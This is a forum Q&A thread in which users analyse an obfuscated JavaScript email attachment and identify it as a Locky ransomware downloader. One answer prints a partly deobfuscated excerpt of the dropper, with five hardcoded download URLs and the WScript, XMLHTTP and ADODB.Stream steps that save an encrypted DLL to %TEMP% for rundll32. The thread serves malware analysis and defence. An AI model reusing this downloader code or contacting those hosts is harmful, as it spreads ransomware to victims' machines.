CODEWITHSUNDEEP
javascriptmalware
user1781710
user1781710

Reputation:

Trying to decode result of scam script

Someone has been sending JS files in an attempt to try and lure me (and presumably others) into running the file and compromising their system.

Thing is, I have Mac and taking a look at this code it doesn't seem to be useful on Mac. As a JavaScript developer I'm not really sure how useful it could be, even on a Windows computer.

Code is too large to fit here so I posted it up on GitHub:

https://gist.github.com/anonymous/dfead201c8e5dc48f98548d0bdb7ac26

What the heck does this code do?

I ran it in a sandbox and it results in a console error.

Upvotes: 5

Views: 678

Answers (3)

Alexander.K.Polyakov
Alexander.K.Polyakov

Reputation: 51

To sum it up: this is a downloader. It downloads an encrypted DLL from one of four hardcoded URLs, decrypts it (simple XOR with a PRNG stream) and then runs using rundll32 (with a specified parameter). The DLL contains Locky ransomware.

Upvotes: 1

Dekel
Dekel

Reputation: 62616

Decided to post here the results I found (and not in a comment) as it takes a bit more than 600 chars ;).

So - the first run of the script (as posted on by comment) will give this code after obfuscation: http://pastebin.com/cFuijfFS

Working on that - the code will run the following:

var IGv7=[Yc+Hu1+Yq8+Jj+KFg2+Ka6+Hk+OHi6+ULs4+EBb, Tj4 + Dk7+Pc2+Hj8+As + YXv5+TIk0+Rj+Kb3+NZa2+DVq+Vx+KIi+Yh4 + XTc5+NHe3+Pv6+ATm5, Tj4 + Dk7+Gl+QLu+Pr+KIi+So+Af1+Nu + Zz+Kb + Zn1+Ik+Vy4, Yc+It+Nd+Ty+Lc+DFu+Lf4+LEa4+Zh1 + Kc+LSk+Tu6, Vg7 + Tp7+AUi+OPo + Oi+NGu8+DXl1+Px9 + Fa + Js9+KPm];
// var IGv7=["http://econopaginas.com/kudrd", "http://baer-afc2.homepage.t-online.de/4yhgvna", "http://jhengineering.szm.com/on9wjn", "http://otwayorchard.net/eo240k", "http://rejoincomp2.in/1tdqo6"]

var Xl3=WScript[Sk6 + STd1 + Jz + GNu0](Zn4 + ALt + Qs8 + UQw);
// Xl3=WScript["CreateObject"]("WScript.Shell");
// Lets say X13 == SHELL

var XWe=Xl3.ExpandEnvironmentStrings(ZFq + YMy6);
// var XWe=SHELL.ExpandEnvironmentStrings("%TEMP%/")

var NQf6=XWe + Vm0 + LCo + Bp + Ty0;
// var NQf6=C:/TEMP/XfZn0ghPqqlucK

var Nt5=NQf6 + Aq4 + FQn5;
// var Nt5="C:/TEMP/XfZn0ghPqqlucK.dll"

var Vu = Xl3.Environment(Cf8 + EMb);
// var Vu = C:/system

// PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4 == "PROCESSOR_ARCHITECTURE"
if (Vu(PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4).toLowerCase() == "amd64")
{
    // Check if we are in amd64
    var UFn4 = Xl3.ExpandEnvironmentStrings(OMi0);

    // var UFn4 = "%SystemRoot%\SysWOW64\rundll32.exe"
}
else
{
    var UFn4 = Xl3.ExpandEnvironmentStrings(DCx);
    // var UFn4 = "%SystemRoot%\system32\rundll32.exe"
}
... 
var SPz0=[WQp1 + WCl1 + TYr1 + Np, Wd + CMz6 + Ey7 + GXj + Kk2 + Fb8 + POy1];
// SPz0=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"]

// Try to create the XMLHTTP object
for (var Lp9=0; Lp9 < SPz0[ETi8 + Fp]; Lp9++)
{
    try 
    {
        var MBi0=WScript[Sk6 + STd1 + Jz + GNu0](SPz0[Lp9]);
        break;
    }
    catch (e)
    {
        continue;
    }
};

var OPr3 = "";
// FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6 == "Scripting.FileSystemObject"
var fso = new ActiveXObject(FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6);


var MTm6 = uheprng(Math.random().toString());
var ENa6=1;
do
{
    // Check ACTIVEXOBJECT_FileSystemObject[FileExists](dll file from before)
    if (fso[DQq + Js + Va + Vn](Nt5))
    {
        var Em = fso.GetFile(Nt5);
        var DAb4 = Em.ShortPath;
        OPr3 = DAb4+ZYz;

        // check if the same dll file with ".txt" extension exists
        if (fso[DQq + Js + Va + Vn](OPr3)) {
            // run quite()
            this[Dv + Dx + Go7][Jh + Nz3](824 - 824);
        }
    }

    var HFw3 = MTm6(IGv7[ETi8 + Fp]);

    try
    {
        if (1== ENa6)
        {
            // Do a GET request to the url "http://jhengineering.szm.com/on9wjn"
            MBi0[NOc6](YRk1 + XWj, IGv7[HFw3++ % IGv7[ETi8 + Fp]], false);
            MBi0[BBw + Co]();
        }

        if (MBi0.readystate < 4) 
        {
            // WScript["Sleep"](100);
            WScript[SJl + Hj](100);

            continue;
        }


        var Nf=WScript[Sk6 + STd1 + Jz + GNu0](YPt6+CXb+Tv0+Da1 + Ng2);
        // var Nf=WScript["CreateObject"]("ADODB.Stream")


        // ADOBE_SCRIPT[open]()
        Nf[NOc6]();

        // ADOBE_SCRIPT[type] = 1
        Nf[Aj9]=Yz; 

        // ADOBE_SCRIPT[write](content from the XMLHTTPRequest we just did)
        Nf[Vr3](MBi0[Nb + Re + HKj + Zk]);

        // Set position of the adodb.stream to 0
        Nf[Hz + QWh5 + VSo5]=0;

        // Save the content to the file NQf6 (the file in c:/temp)
        Nf[WGa + Yh + OAk](NQf6, IDz0);

        // close the file
        Nf[Cz + FLv2]();

Still working on the rest, will update here with more info :)

Upvotes: 2

seahorsepip
seahorsepip

Reputation: 4819

It seems to run wscript which is a windows program to make administrative changes, yes that sounds like bad news for windows users who run this :P

And it uses 2 arrays to obfuscate the code, that will be run with eval, if anyone is not on a phone like me, copy the last lines starting by var Q1 and replace eval with console.log. this will output the js code that will probably show what evil it contains. It might be minified so run it trough a js prettifier, maybe it will have arrays again to obfuscate code again LOL, code inception.

Sadly I'm on a phone otherwise it would be a nice puzzle xD

Edit: too curious, gonna look into it with jsfiddle on my phone, touchscreens are a nightmare with stuff like this..

Edit2:

Code inception!

https://jsfiddle.net/3sn6o9o9/

.

See the js output it generates, more obfuscation, we must go deeper!

Upvotes: 1

Related Questions